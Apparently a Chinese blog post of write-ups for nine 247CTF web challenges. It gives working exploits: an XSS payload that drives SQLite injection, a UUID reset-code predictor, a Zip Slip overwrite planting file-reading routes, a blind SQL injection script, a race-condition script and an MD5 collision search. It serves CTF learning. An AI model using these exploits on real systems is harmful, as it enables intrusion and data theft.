ctf python大法好_247CTF的9个web题目分析

b6ee47c0899db165d38aad3b4e0b9baa.jpg

最近朋友推荐几个web题目,都是这个平台的,感觉有些题目还不错,web有十个,有一个要用机器学习识别验证码,就没搞,就写了九个,还是学到了一些骚思路的,还是太菜了

HELICOPTER ADMINISTRATORS——Hard

考点从XSS入手,利用SSRF去访问后端的一个有SQLite注入的查询服务

XSS=>SSRF=>SQLite注入

描述

This applications administrators are very aggressive. They will immediately view any page you report. Can you trick them into disclosing data they shouldn’t?

题目分析

打开靶机发现有三个用户是可以查看的,不能查看Admin

2576025f69eadb28f61106fc4ea9bf04.png

在每个用户页面有两个功能,一个是Comment,用来留言,另一个是Report,用来向后端的bot提交页面,因为题目描述中说了They will immediately view any page you report.,所以这大概率是个XSS。直接提交发现是被ban掉的,试了一下发现ban掉了svg、alert等等

ccd7ae37cd672a5bfdc33a4cf1fac0ff.png

可以用

8ab2a08ef35e53855d6e5029b3e22383.png

成功XSS,但是还是访问不了Admin。于是尝试一下bot是否可以访问其他用户

payloadvar xhr = new XMLHttpRequest();

xhr.open("POST","/comment/2",true);

var params = "comment=hacked";

xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xhr.send(params);

在user2发现了两个hacked,一次是提交comment之后自动刷新造成的,一次是bot访问造成的

5bff5614b74bc5fca22ea64290e1586e.png

也就是说,可以利用XSS去访问Admin,然后将结果返回到其它用户的comment处var xhr = new XMLHttpRequest();

var xhr2 = new XMLHttpRequest();

xhr.open("GET", "/user/0", true);

xhr.send();

xhr.onload = function(){

var responsefrompage = xhr.response;

xhr2.open("POST","/comment/2",true);

var params = "comment=" + encodeURI(btoa(responsefrompage));

xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xhr2.send(params);}

然后可以在user2处看到返回的经过base64编码的html,解码之后就是原来的页面。

ce1b94b72af43141931ee26eca1a2c3f.png

不难在返回的html中发现,有个form表单,提交的地址是/secret_admin_search,是一个查找的功能,那这里可能会有注入

3f7109a52b4cc202cbabc7b929624c33.png

直接访问会提示不是Admin,并且是json格式的数据

e34837c6cc555adedf9fb29f4f98d05f.png

就还要利用上面的方式,将结果输出到其它用户的comment处var xhr = new XMLHttpRequest();

var xhr2 = new XMLHttpRequest();

xhr.open("POST", "/secret_admin_search", true);

xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

var parameters = "search=" + encodeURI(";'");

xhr.send(parameters);

xhr.onload = function(){

var responsefrompage = xhr.response;

xhr2.open("POST","/comment/3",true);

var params = "comment=" + encodeURI(btoa(responsefrompage));

xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xhr2.send(params);}

返回结果解码之后是SQLite的报第一个错误,把SQL语句改成1' union select 1,2,3--报第二个错误,那就说明可能是数字型注入。

用1 union select 1,2,3--返回的是列错误,说明是数字型,并且列数不是3,测试了一下,列是6{"message":"SQLite error: near \";\": syntax error","result":"error"}

{"message":"SQLite error: unrecognized token: \"' union select 1,2,3--\"","result":"error"}

{"message":"SQLite error: SELECTs to the left and right of UNION do not have the same number of result columns","result":"error"}var xhr = new XMLHttpRequest();

var xhr2 = new XMLHttpRequest();

xhr.open("POST", "/secret_admin_search", true);

xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

var parameters = "search=" + encodeURI("1 union select 1,2,3,4,5,6--");

xhr.send(parameters);

xhr.onload = function(){

var responsefrompage = xhr.response;

xhr2.open("POST","/comment/3",true);

var params = "comment=" + encodeURI(btoa(responsefrompage));

xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xhr2.send(params);}

得到结果{"message":[[1,2,3,4,5,6],[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}

然后就可以去联合注入了,可以看到flag在flag表中的flag字段0 union select 1,2,3,4,name,sql from sqlite_master where type='table'--

{"message":[[0,"Administrator",100,100,100,"New York, USA"],[1,2,3,4,"comment","CREATE TABLE comment (id int, comment text)"],[1,2,3,4,"flag","CREATE TABLE flag (flag text)"],[1,2,3,4,"user","CREATE TABLE user (id int primary key, name text, friends int, likes int, shares int, location text)"]],"result":"success"}

直接用-1 union select 1,2,3,4,5,flag from flag--就可以了var xhr = new XMLHttpRequest();

var xhr2 = new XMLHttpRequest();

xhr.open("POST", "/secret_admin_search", true);

xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

var parameters = "search=" + encodeURI("-1 union select 1,2,3,4,5,flag from flag--");

xhr.send(parameters);

xhr.onload = function(){

var responsefrompage = xhr.response;

xhr2.open("POST","/comment/3",true);

var params = "comment=" + encodeURI(btoa(responsefrompage));

xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xhr2.send(params);}

结果{"message":[[1,2,3,4,5,"247CTF{c9355024736f1fdfa121e243c7024540}"]],"result":"success"}

ADMINISTRATIVE ORM——Hard

考点Flask代码审计

uuid1()分析

描述

We started building a custom ORM for user management. Can you find any bugs before we push to production?

题目分析

前面几行是对Flask和ORM的初始化。初始化USER为adminimport pymysql.cursors

import pymysql, os, bcrypt, debug

from flask import Flask, request

from secret import flag, secret_key, sql_user, sql_password, sql_database, sql_host

class ORM():

def __init__(self):

self.connection = pymysql.connect(host=sql_host, user=sql_user, password=sql_password, db=sql_database, cursorclass=pymysql.cursors.DictCursor)

# ......

app = Flask(__name__)

app.config['DEBUG'] = False

app.config['SECRET_KEY'] = secret_key

app.config['USER'] = 'admin'

跟着路由走,在第一次访问之前,会初始化一个ORM对象,然后给admin设置一个随机密码,并用hash加盐加密@app.before_first_request

def before_first():

app.config['ORM'] = ORM()

app.config['ORM'].set_password(app.config['USER'], os.urandom(32).hex())

class ORM():

def __init__(self):

# ......

def set_password(self, user, password):

password_hash = bcrypt.hashpw(password, bcrypt.gensalt())

self.update('update users set password=%s where username=%s', (password_hash, user))

然后来到主页,返回题目源码@app.route('/')

def source():

return "

%s

" % open(__file__).read()

访问/statistics会返回一些debug数据,这里出现clock_seq和last_reset的条件是先用错误的reset_code去访问/update_password,例如/update_password?reset_code=13814000-1dd2-11b2-8000-0242ac110005&password=123456@app.route("/statistics") # TODO: remove statistics

def statistics():

return debug.statistics()

e7f5aadd8f4b7ced6d0f62a6df693068.png

访问/update_password,要GET传参reset_code,要这个reset_code存在才可以修改密码,而它是由python的uuid()函数生成@app.route("/update_password")

def update_password():

user_row = app.config['ORM'].get_by_reset_code(request.args.get('reset_code',''))

if user_row:

app.config['ORM'].set_password(app.config['USER'], request.args.get('password','').encode('utf8'))

return "Password reset for %s!" % app.config['USER']

app.config['ORM'].set_reset_code(app.config['USER'])

return "Invalid reset code for %s!" % app.config['USER']

class ORM():

def get_by_reset_code(self, reset_code):

return self.query('select * from users where reset_code=%s', reset_code)

def set_reset_code(self, user):

self.update('update users set reset_code=uuid() where username=%s', user)

/get_flag是获取flag的逻辑,要输入的password和上面随机生成的相同才可以返回flag@app.route("/get_flag")

def get_flag():

user_row = app.config['ORM'].get_by_name(app.config['USER'])

if bcrypt.checkpw(request.args.get('password','').encode('utf8'), user_row['password'].encode('utf8')):

return flag

return "Invalid password for %s!" % app.config['USER']

class ORM():

def get_by_name(self, user):

return self.query('select * from users where username=%s', user)

这里用uuid()生成reset_code,那就去分析代码,看一下生成的条件

python中uuid.uuid1()的分析,将其中比较关键的逻辑拿出来看一看

发现需要三个参数,默认参数node为None是MAC地址的十进制数,clock_seq为None是一个随机生成的数字,timestamp为从 epoch 开始的纳秒数,也就是time.time()乘以10的9次方。不过要注意的是,题目的时间是GMT的,比本地时间(北京时间)的时间戳多了28800秒def uuid1(node=None, clock_seq=None):

# ...

import time

nanoseconds = time.time_ns()

timestamp = nanoseconds // 100 + 0x01b21dd213814000

# ...

time_low = timestamp & 0xffffffff

time_mid = (timestamp >> 32) & 0xffff

time_hi_version = (timestamp >> 48) & 0x0fff

clock_seq_low = clock_seq & 0xff

clock_seq_hi_variant = (clock_seq >> 8) & 0x3f

# ...

return UUID(fields=(time_low, time_mid, time_hi_version,

clock_seq_hi_variant, clock_seq_low, node), version=1)

最终生成uuid的代码import time

import uuid

from decimal import *

def mac2int(mac):

return int(mac.replace(':', ''), 16)

def time2ns(time_str):

dt,ns = time_str.split(".")

timeArray = time.strptime(dt, "%Y-%m-%d %H:%M:%S")

timestamp = time.mktime(timeArray)

timestamp = int(timestamp)+28800

timestamp = str(timestamp)+'.'+str(ns)

return int(Decimal(timestamp)*1000*1000*1000)

def uuid1(node, clock_seq, ts):

timestamp = ts // 100 + 0x01b21dd213814000

time_low = timestamp & 0xffffffff

time_mid = (timestamp >> 32) & 0xffff

time_hi_version = (timestamp >> 48) & 0x0fff

clock_seq_low = clock_seq & 0xff

clock_seq_hi_variant = (clock_seq >> 8) & 0x3f

return uuid.UUID(fields=(time_low, time_mid, time_hi_version,

clock_seq_hi_variant, clock_seq_low, node), version=1)

time_str = '2021-01-29 15:31:05.621730300'

timestamp = time2ns(time_str)

mac = '02:42:AC:11:00:05'

node = mac2int(mac)

clock_seq = 14138

UUID = uuid1(node, clock_seq, timestamp)

print(UUID)

这里结果是008aa0d7-6247-11eb-b73a-0242ac110005

然后访问/update_password?reset_code=008aa0d7-6247-11eb-b73a-0242ac110005&password=1234进行重置密码

最后访问/get_flag?password=1234获取flag即可

0bd9fa8af91b6cd5ae6b94d319f68909.png

全部代码import pymysql.cursors

import pymysql, os, bcrypt, debug

from flask import Flask, request

from secret import flag, secret_key, sql_user, sql_password, sql_database, sql_host

class ORM():

def __init__(self):

self.connection = pymysql.connect(host=sql_host, user=sql_user, password=sql_password, db=sql_database, cursorclass=pymysql.cursors.DictCursor)

def update(self, sql, parameters):

with self.connection.cursor() as cursor:

cursor.execute(sql, parameters)

self.connection.commit()

def query(self, sql, parameters):

with self.connection.cursor() as cursor:

cursor.execute(sql, parameters)

result = cursor.fetchone()

return result

def get_by_name(self, user):

return self.query('select * from users where username=%s', user)

def get_by_reset_code(self, reset_code):

return self.query('select * from users where reset_code=%s', reset_code)

def set_password(self, user, password):

password_hash = bcrypt.hashpw(password, bcrypt.gensalt())

self.update('update users set password=%s where username=%s', (password_hash, user))

def set_reset_code(self, user):

self.update('update users set reset_code=uuid() where username=%s', user)

app = Flask(__name__)

app.config['DEBUG'] = False

app.config['SECRET_KEY'] = secret_key

app.config['USER'] = 'admin'

@app.route("/get_flag")

def get_flag():

user_row = app.config['ORM'].get_by_name(app.config['USER'])

if bcrypt.checkpw(request.args.get('password','').encode('utf8'), user_row['password'].encode('utf8')):

return flag

return "Invalid password for %s!" % app.config['USER']

@app.route("/update_password")

def update_password():

user_row = app.config['ORM'].get_by_reset_code(request.args.get('reset_code',''))

if user_row:

app.config['ORM'].set_password(app.config['USER'], request.args.get('password','').encode('utf8'))

return "Password reset for %s!" % app.config['USER']

app.config['ORM'].set_reset_code(app.config['USER'])

return "Invalid reset code for %s!" % app.config['USER']

@app.route("/statistics") # TODO: remove statistics

def statistics():

return debug.statistics()

@app.route('/')

def source():

return "

%s

" % open(__file__).read()

@app.before_first_request

def before_first():

app.config['ORM'] = ORM()

app.config['ORM'].set_password(app.config['USER'], os.urandom(32).hex())

@app.errorhandler(Exception)

def error(error):

return "Something went wrong!"

if __name__ == "__main__":

app.run()

SLIPPERY UPLOAD——Medium

考点

描述

Can you abuse the zip upload and extraction service to gain code execution on the server?

题目分析

前面几行进行了Flask的初始化from flask import Flask, request

import zipfile, os

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(32)

app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024

app.config['UPLOAD_FOLDER'] = '/tmp/uploads/'

从路由入手

访问主页会得到题目源码@app.route('/')

def source():

return '

%s

' % open('/app/run.py').read()

向/zip_upload上传文件会执行zip_extract函数进行解压

这里的上传文件可以用Postman去操作

为了绕过第一个if,就让上传的name属性是zarchive,上传的文件名是zarchive.zip

为了绕过第二个if,就把上传的文件的content_type改为application/octet-stream

e0ac96d4f3f963f365ad35376237a92f.png

这样就成功上传了文件,在zip_extract函数中实现了对上传文件的解压def zip_extract(zarchive):

with zipfile.ZipFile(zarchive, 'r') as z:

for i in z.infolist():

with open(os.path.join(app.config['UPLOAD_FOLDER'], i.filename), 'wb') as f:

f.write(z.open(i.filename, 'r').read())

@app.route('/zip_upload', methods=['POST'])

def zip_upload():

try:

if request.files and 'zarchive' in request.files:

zarchive = request.files['zarchive']

if zarchive and '.' in zarchive.filename and zarchive.filename.rsplit('.', 1)[1].lower() == 'zip' and zarchive.content_type == 'application/octet-stream':

zpath = os.path.join(app.config['UPLOAD_FOLDER'], '%s.zip' % os.urandom(8).hex())

zarchive.save(zpath)

zip_extract(zpath)

return 'Zip archive uploaded and extracted!'

return 'Only valid zip archives are acepted!'

except:

return 'Error occured during the zip upload process!'

经过一番搜索,发现这里是存在Zip Slip Traversal漏洞,由于没有对zip压缩包里面的filename进行过滤,会导致目录穿越,从而导致文件重写。在本题已经给出了脚本运行目录/app/run.py和上传目录/tmp/uploads/|--app

| |--run.py

|--tmp

| |--uploads

| | |--zarchive.zip

先用Linux下的zip命令生成一个压缩包zip hack.zip ../../app/run.py

ba324bcf5246010a7dbf7fc50bfcc583.png

这个命令在ttt目录下执行,其目录结构如下。这样就会得到一个hack.zip|--hack

| |--app

| | |--run.py

| | |--ttt

在python shell中看一下infolist(),可以发现它的filename属性是../../app/run.py,而在本题的zip_extract函数中,它直接执行了f.write(z.open(i.filename, 'r').read()),根据上面的目录结构,这就会造成run.py的重写

8b6d41c93df004eecc7311a46e4d4755.png|--app

| |--run.py

|--tmp

| |--uploads

| | |--zarchive.zip

到这本题思路就很清晰了

在本地复制粘贴run.py,加一点代码。get_flag_path用来列举目录,get_flag用于读取文件@app.route('/flagpath', methods=['GET'])

def get_flag_path():

dicpath = request.args.get('path') or '/'

try:

dir_list = []

dirs = os.listdir(dicpath)

for i in dirs:

dir_list.append(i)

return ''.join(dir_list)

except:

return 'something error'

@app.route('/flag', methods=['GET'])

def get_flag():

flag_name = request.args.get('flag') or 'run.py'

try:

resflag = open(flag_name).read()

return resflag

except:

return 'something error'

在Linux中建立如下目录结构,在ttt目录下执行zip zarchive.zip ../../app/run.py得到zarchive.zip|--hack

| |--app

| | |--run.py

| | |--ttt

使用Postman上传这个压缩包

dfcfb60d04a53549d21e2143202f17a7.png

访问/发现成功覆盖,然后访问/flagpath?path=/app得到flag路径,最后访问/flag?flag=flag_33cd0604f65815a9375e2da04e1b8610.txt读取flag

7d297770c83ff7fe9c28aff7c5aa742d.png

CEREAL LOGGER——Medium

考点PHP反序列化=>sqlite3盲注

描述

Using a specially crafted cookie, you can write data to /dev/null. Can you abuse the write and read the flag?

题目分析

首先是一个写入日志的insert_log类,里面实现了SQLite3数据库的insert操作。

然后获取cookie中247字段对应的内容,以.分割,后面的部分要弱等于0,前面的部分进行base64解码后再进行反序列化,然后写入到/dev/null,/dev/null是空设备文件,就是不显示任何信息<?php

class insert_log

{

public $new_data = "Valid access logged!";

public function __destruct()

{

$this->pdo = new SQLite3("/tmp/log.db");

$this->pdo->exec("INSERT INTO log (message) VALUES ('".$this->new_data."');");

}

}

if (isset($_COOKIE["247"]) && explode(".", $_COOKIE["247"])[1].rand(0, 247247247) == "0") {

file_put_contents("/dev/null", unserialize(base64_decode(explode(".", $_COOKIE["247"])[0])));

} else {

echo highlight_file(__FILE__, true);

}

这里的SQL语句是完全可控的,也就是说这里是可能存在注入的。

请求时把cookie中247字段改为TzoxMDoiaW5zZXJ0X2xvZyI6MTp7czo4OiJuZXdfZGF0YSI7czoxMDg6IjAnKTtzZWxlY3QgMSB3aGVyZSAxPShjYXNlIHdoZW4oc3Vic3RyKHNxbGl0ZV92ZXJzaW9uKCksMSwxKT0nMycpIHRoZW4gcmFuZG9tYmxvYigxMDAwMDAwMDAwKSBlbHNlIDAgZW5kKTstLSI7fQ==.0e,发现返回502

这个payload内容如下O:10:"insert_log":1:{s:8:"new_data";s:108:"0');select 1 where 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);--";}

相当于进行了sqlite时间盲注,由于这是sqlite3所以版本函数必定返回3开头,所以这里where后面必定是True,改成其他字符,返回200INSERT INTO log (message) VALUES ('

0');select 1 where 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);--

');

由此可以发现,返回502说明正确,返回200说明错误,可以写盲注脚本了import requests

import base64

import time

proxy = '127.0.0.1:30000'

proxies = {

'http': 'socks5://' + proxy,

'https': 'socks5://' + proxy

}

url = 'https://03644f6a6e290136.247ctf.com/'

def get_cookies(payload):

serial = 'O:10:"insert_log":1:{s:8:"new_data";s:'+str(len(payload))+':"'+payload+'";}'

res = base64.b64encode(serial.encode())

res = res.decode() + '.0e'

return res

def exp():

flag = ''

for i in range(1, 50):

low = 32

high = 126

mid = (low+high)//2

print(flag)

while low < high:

tmp = flag + chr(mid)

# payload = f"0');select 1 where 1=(case when(substr(sqlite_version(),1,{i})>'{tmp}') then randomblob(1000000000) else 0 end);--"

# payload = f"0');select 1 where 1=(case when(substr((select name from sqlite_master where type='table' limit 0,1),1,{i})>'{tmp}') then randomblob(1000000000) else 0 end);--"

# payload = f"0');select 1 where 1=(case when(substr((select name from PRAGMA_TABLE_INFO('flag') limit 0,1),1,{i})>'{tmp}') then randomblob(1000000000) else 0 end);--"

payload = f"0');select 1 where 1=(case when(substr((select flag from flag limit 0,1),1,{i})>'{tmp}') then randomblob(1000000000) else 0 end);--"

print(payload)

cookies = {

'247': get_cookies(payload),

}

r = requests.get(url=url,cookies=cookies,proxies=proxies)

code = r.status_code

if code == 200:

high = mid

if code == 502:

low = mid + 1

mid = (low+high)//2

if low == high:

flag = flag + chr(low)

break

exp()

d3924c199ea5a25e08a84854ef2c3479.png

FORGOTTEN FILE POINTER——Medium

考点文件包含Linux文件描述符

描述

We have opened the flag, but forgot to read and print it. Can you access it anyway?

题目分析

很经典的文件包含题目

在Linux中,所有东西都是文件。用fopen函数打开/tmp/flag.txt,这时候会新建一个文件描述符指向/tmp/flag.txt。Linux下/dev/fd目录是记录用户打开的文件描述符,一般0代表标准输入,1代表标准输出。

题目长度限制不超过10,/dev/fd/总共是8位,那文件描述符的范围就是0-99,写个脚本爆破就可以了,最终flag在/dev/fd/10

题目名字也说了,被忘记的文件指针<?php

$fp = fopen("/tmp/flag.txt", "r");

if($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['include']) && strlen($_GET['include']) <= 10) {

include($_GET['include']);

}

fclose($fp);

echo highlight_file(__FILE__, true);

?>import requests

url = 'https://510c4020b266c259.247ctf.com/'

for i in range(0,100):

payload = f'?include=/dev/fd/{i}'

print(url+payload)

r = requests.get(url+payload)

print(r.text)

ACID FLAG BANK——Easy

考点PHP代码审计

条件竞争代码审计

描述

You can purchase a flag directly from the ACID flag bank, however there aren’t enough funds in the entire bank to complete that transaction! Can you identify any vulnerabilities within the ACID flag bank which enable you to increase the total available funds?

题目分析

首先给了ChallDB类,有一个__construct函数,初始化pdo和flag,其他的函数先不看。紧接着new一个ChallDB的实例化对象class ChallDB

{

public function __construct($flag)

{

$this->pdo = new SQLite3('/tmp/users.db');

$this->flag = $flag;

}

}

$db = new challDB($flag);

下面来到输入数据的部分

如果GET参数dump,会执行dumpUsers函数,输出所有用户的信息public function dumpUsers()

{

$result = $this->pdo->query("select id, funds from users");

echo "

";

echo "ID FUNDS\n";

while ($row = $result->fetchArray(SQLITE3_ASSOC)) {

echo "{$row['id']} {$row['funds']}\n";

}

echo "

";

}

e76b719d5f55fd3a32623bbae5fda99f.png

如果GET参数reset,会执行resetFunds函数,将用户的信息重置public function resetFunds()

{

$this->updateFunds(1, 247);

$this->updateFunds(2, 0);

return "Funds updated!";

}

public function updateFunds($id, $funds)

{

$stmt = $this->pdo->prepare('update users set funds = :funds where id = :id');

$stmt->bindValue(':id', $id, SQLITE3_INTEGER);

$stmt->bindValue(':funds', $funds, SQLITE3_INTEGER);

return $stmt->execute();

}

如果GET参数flag和from,会先执行clean函数对from进行清洗,然后执行buyFlag函数购买flag

clean函数将传入的from强制转换为数字,如果是浮点数就进行四舍五入,然后赋值给$from

buyFlag函数会先检测输入的用户id是否存在,再判断它的钱够不够247,够的话就返回flagpublic function clean($x)

{

return round((int)trim($x));

}

public function buyFlag($id)

{

if ($this->validUser($id) && $this->getFunds($id) > 247) {

return $this->flag;

} else {

return "Insufficient funds!";

}

}

public function validUser($id)

{

$stmt = $this->pdo->prepare('select count(*) as valid from users where id = :id');

$stmt->bindValue(':id', $id, SQLITE3_INTEGER);

$result = $stmt->execute();

$row = $result->fetchArray(SQLITE3_ASSOC);

return $row['valid'] == true;

}

public function getFunds($id)

{

$stmt = $this->pdo->prepare('select funds from users where id = :id');

$stmt->bindValue(':id', $id, SQLITE3_INTEGER);

$result = $stmt->execute();

return $result->fetchArray(SQLITE3_ASSOC)['funds'];

}

如果GET参数to、from和amount,先执行clean函数对三个参数进行清洗,然后让from的用户金币减少amount个,让to的用户增加amount个,且from用户的金币要大于等于amount个。这个就相当于from从to那里买了价值amount的东西$to = $db->clean($_GET['to']);

$from = $db->clean($_GET['from']);

$amount = $db->clean($_GET['amount']);

if ($to !== $from && $amount > 0 && $amount <= 247 && $db->validUser($to) && $db->validUser($from) && $db->getFunds($from) >= $amount) {

$db->updateFunds($from, $db->getFunds($from) - $amount);

$db->updateFunds($to, $db->getFunds($to) + $amount);

echo "Funds transferred!";

} else {

echo "Invalid transfer request!";

}

这里check表面上看没什么问题,但是如果

1给2打钱和2给1打钱,同时在$db->getFunds($from) >= $amount这个check前发生,那不就可以绕过这个check实现打钱,也就是条件竞争。这里有写好的工具:https://github.com/TheHackerDev/race-the-web

设置两个requests,参数分别填写?to=1&from=2&amount=1和?to=2&from=1&amount=1,再添加自己的cookie,最后启动工具跑就行了。跑完看一下?dump是否如下满足条件(任一用户金币大于247),满足的话就直接购买即可?flag&from=1

fde568869deb07f4a15cb892915cadf1.png

655f818a493e2fa4c70da50b4a3d3617.png

条件竞争方法#coding=utf-8

import io

import requests

import threading

header = {

'Cookie' : "_ga=GA1.2.1547995919.1611847143; __stripe_mid=32932a70-ec67-4b18-b1dc-af3638f802ab3ee642"

}

f = open('res.txt','w')

def check(session):

while True:

url1 = "https://54127da6b7dbd39f.247ctf.com/?dump"

res = session.get(url1,headers=header)

if ('1 0' in res.text) and ('2 0' in res.text):

url1 = "https://54127da6b7dbd39f.247ctf.com/?reset"

res = session.get(url1,headers=header)

def From1to2(session):

while True:

url1 = "https://54127da6b7dbd39f.247ctf.com/?to=2&from=1&amount=1"

res = session.get(url1,headers=header)

print(res.text.strip())

def From2to1(session):

while True:

url2 = "https://54127da6b7dbd39f.247ctf.com/?to=1&from=2&amount=1"

res = session.get(url2,headers=header)

print(res.text.strip())

def getFlag(session):

while True:

url1_flag = "https://54127da6b7dbd39f.247ctf.com/?flag&from=1"

url2_flag = 'https://54127da6b7dbd39f.247ctf.com/?flag&from=2'

res_1 = session.get(url1_flag,headers=header)

res_2 = session.get(url2_flag,headers=header)

if ('CTF' in res_1.text) or ('CTF' in res_2.text):

f.write(res_1.text)

f.write(res_2.text)

f.close()

exit()

if __name__=="__main__":

event=threading.Event()

with requests.session() as session:

for i in range(1,30):

threading.Thread(target=From1to2,args=(session,)).start()

for i in range(1,30):

threading.Thread(target=From2to1,args=(session,)).start()

for i in range(1,30):

threading.Thread(target=getFlag,args=(session,)).start()

for i in range(1,30):

threading.Thread(target=check,args=(session,)).start()

event.set()

全部代码<?php

require_once('flag.php');

class ChallDB

{

public function __construct($flag)

{

$this->pdo = new SQLite3('/tmp/users.db');

$this->flag = $flag;

}

public function updateFunds($id, $funds)

{

$stmt = $this->pdo->prepare('update users set funds = :funds where id = :id');

$stmt->bindValue(':id', $id, SQLITE3_INTEGER);

$stmt->bindValue(':funds', $funds, SQLITE3_INTEGER);

return $stmt->execute();

}

public function resetFunds()

{

$this->updateFunds(1, 247);

$this->updateFunds(2, 0);

return "Funds updated!";

}

public function getFunds($id)

{

$stmt = $this->pdo->prepare('select funds from users where id = :id');

$stmt->bindValue(':id', $id, SQLITE3_INTEGER);

$result = $stmt->execute();

return $result->fetchArray(SQLITE3_ASSOC)['funds'];

}

public function validUser($id)

{

$stmt = $this->pdo->prepare('select count(*) as valid from users where id = :id');

$stmt->bindValue(':id', $id, SQLITE3_INTEGER);

$result = $stmt->execute();

$row = $result->fetchArray(SQLITE3_ASSOC);

return $row['valid'] == true;

}

public function dumpUsers()

{

$result = $this->pdo->query("select id, funds from users");

echo "

";

echo "ID FUNDS\n";

while ($row = $result->fetchArray(SQLITE3_ASSOC)) {

echo "{$row['id']} {$row['funds']}\n";

}

echo "

";

}

public function buyFlag($id)

{

if ($this->validUser($id) && $this->getFunds($id) > 247) {

return $this->flag;

} else {

return "Insufficient funds!";

}

}

public function clean($x)

{

return round((int)trim($x));

}

}

$db = new challDB($flag);

if (isset($_GET['dump'])) {

$db->dumpUsers();

} elseif (isset($_GET['reset'])) {

echo $db->resetFunds();

} elseif (isset($_GET['flag'], $_GET['from'])) {

$from = $db->clean($_GET['from']);

echo $db->buyFlag($from);

} elseif (isset($_GET['to'],$_GET['from'],$_GET['amount'])) {

$to = $db->clean($_GET['to']);

$from = $db->clean($_GET['from']);

$amount = $db->clean($_GET['amount']);

if ($to !== $from && $amount > 0 && $amount <= 247 && $db->validUser($to) && $db->validUser($from) && $db->getFunds($from) >= $amount) {

$db->updateFunds($from, $db->getFunds($from) - $amount);

$db->updateFunds($to, $db->getFunds($to) + $amount);

echo "Funds transferred!";

} else {

echo "Invalid transfer request!";

}

} else {

echo highlight_file(__FILE__, true);

}

COMPARE THE PAIR——Easy

考点PHP md5()弱比较

描述

Can you identify a way to bypass our login logic? MD5 is supposed to be a one-way function right?

题目分析

经典弱比较,PHP中两个以0e为开头的数字的字符串会被认为是科学计数法,找个字符串加盐之后md5是0e开头并且0e之后全为数字即可<?php

require_once('flag.php');

$password_hash = "0e902564435691274142490923013038";

$salt = "f789bbc328a3d1a3";

if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash){

echo $flag;

}

echo highlight_file(__FILE__, true);

?>

用python多线程跑一下import hashlib

import threading

salt = "f789bbc328a3d1a3"

def collision(start):

for i in range(start, start+1000000):

m = hashlib.md5()

s = salt + str(i)

m.update(s.encode())

r = m.hexdigest()

if r.startswith("0e") and r[2:].isdigit():

print(str(i)+ '=>' + s + '=>' + r)

ths = []

for i in range(1000):

tmp = i*1000000

t = threading.Thread(target=collision, args=(tmp,))

ths.append(t)

for i in ths:

i.start()

# 237701818=>f789bbc328a3d1a3237701818=>0e668271403484922599527929534016

132754bb1ead12af1a58cc7cb09048dc.png

主要是这个点在PHP中,以数字+e开头,后面全是数字的字符串和数字比较时,会被认为是科学计数法,例如0e被识别成0

SECURED SESSION——Easy考点Flask session解码

描述

If you can guess our random secret key, we will tell you the flag securely stored in your session.

题目分析

先是对Flask的初始化,然后设置SECRET_KEY是长度24的随机字符串import os

from flask import Flask, request, session

from flag import flag

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(24)

访问/返回代码,访问/flag则是给出flag,可以看到给出flag的前提是要GET正确的secret_key@app.route("/flag")

def index():

secret_key = secret_key_to_int(request.args['secret_key']) if 'secret_key' in request.args else None

session['flag'] = flag

if secret_key == app.config['SECRET_KEY']:

return session['flag']

else:

return "Incorrect secret key!"

在访问/对应的逻辑中,是没有对session的操作的,所以访问/是不会看到cookie的。先访问/flag就可以看到cookie,再用flask-unsign就可以解密session

这里我的cookie是session=eyJmbGFnIjp7IiBiIjoiTWpRM1ExUkdlMlJoT0RBM09UVm1PR0UxWTJGaU1tVXdNemRrTnpNNE5UZ3dOMkk1WVRreGZRPT0ifX0.YBv1UQ.izmpPGtF3K1e9vZR6hYJRfMjRAU; HttpOnly; Path=/

直接解码flask-unsign --decode --cookie eyJmbGFnIjp7IiBiIjoiTWpRM1ExUkdlMlJoT0RBM09UVm1PR0UxWTJGaU1tVXdNemRrTnpNNE5UZ3dOMkk1WVRreGZRPT0ifX0.YBv1UQ.i zmpPGtF3K1e9vZR6hYJRfMjRAU

{'flag': b'247CTF{da80795f8a5cab2e037d7385807b9a91}'}

全部代码import os

from flask import Flask, request, session

from flag import flag

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(24)

def secret_key_to_int(s):

try:

secret_key = int(s)

except ValueError:

secret_key = 0

return secret_key

@app.route("/flag")

def index():

secret_key = secret_key_to_int(request.args['secret_key']) if 'secret_key' in request.args else None

session['flag'] = flag

if secret_key == app.config['SECRET_KEY']:

return session['flag']

else:

return "Incorrect secret key!"

@app.route('/')

def source():

return "

%s

" % open(__file__).read()

if __name__ == "__main__":

app.run()

TRUSTED CLIENT——Easy

考点JSFuck

描述

Developers don’t always have time to setup a backend service when prototyping code. Storing credentials on the client side should be fine as long as it’s obfuscated right?

题目分析

根据题目可以看出来这是把登陆凭证存储在客户端,但是在请求头和返回头中并没有发现什么有用的信息,倒是有一段JSFuck。

bbfb4806ca197559a015435238b96bd1.png

把JSFuck复制出来直接解码就可以了,不过这里是个函数,就不要复制最后面的()了

01efca6f8d29742b0d87873703cfaf11.png

参考

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
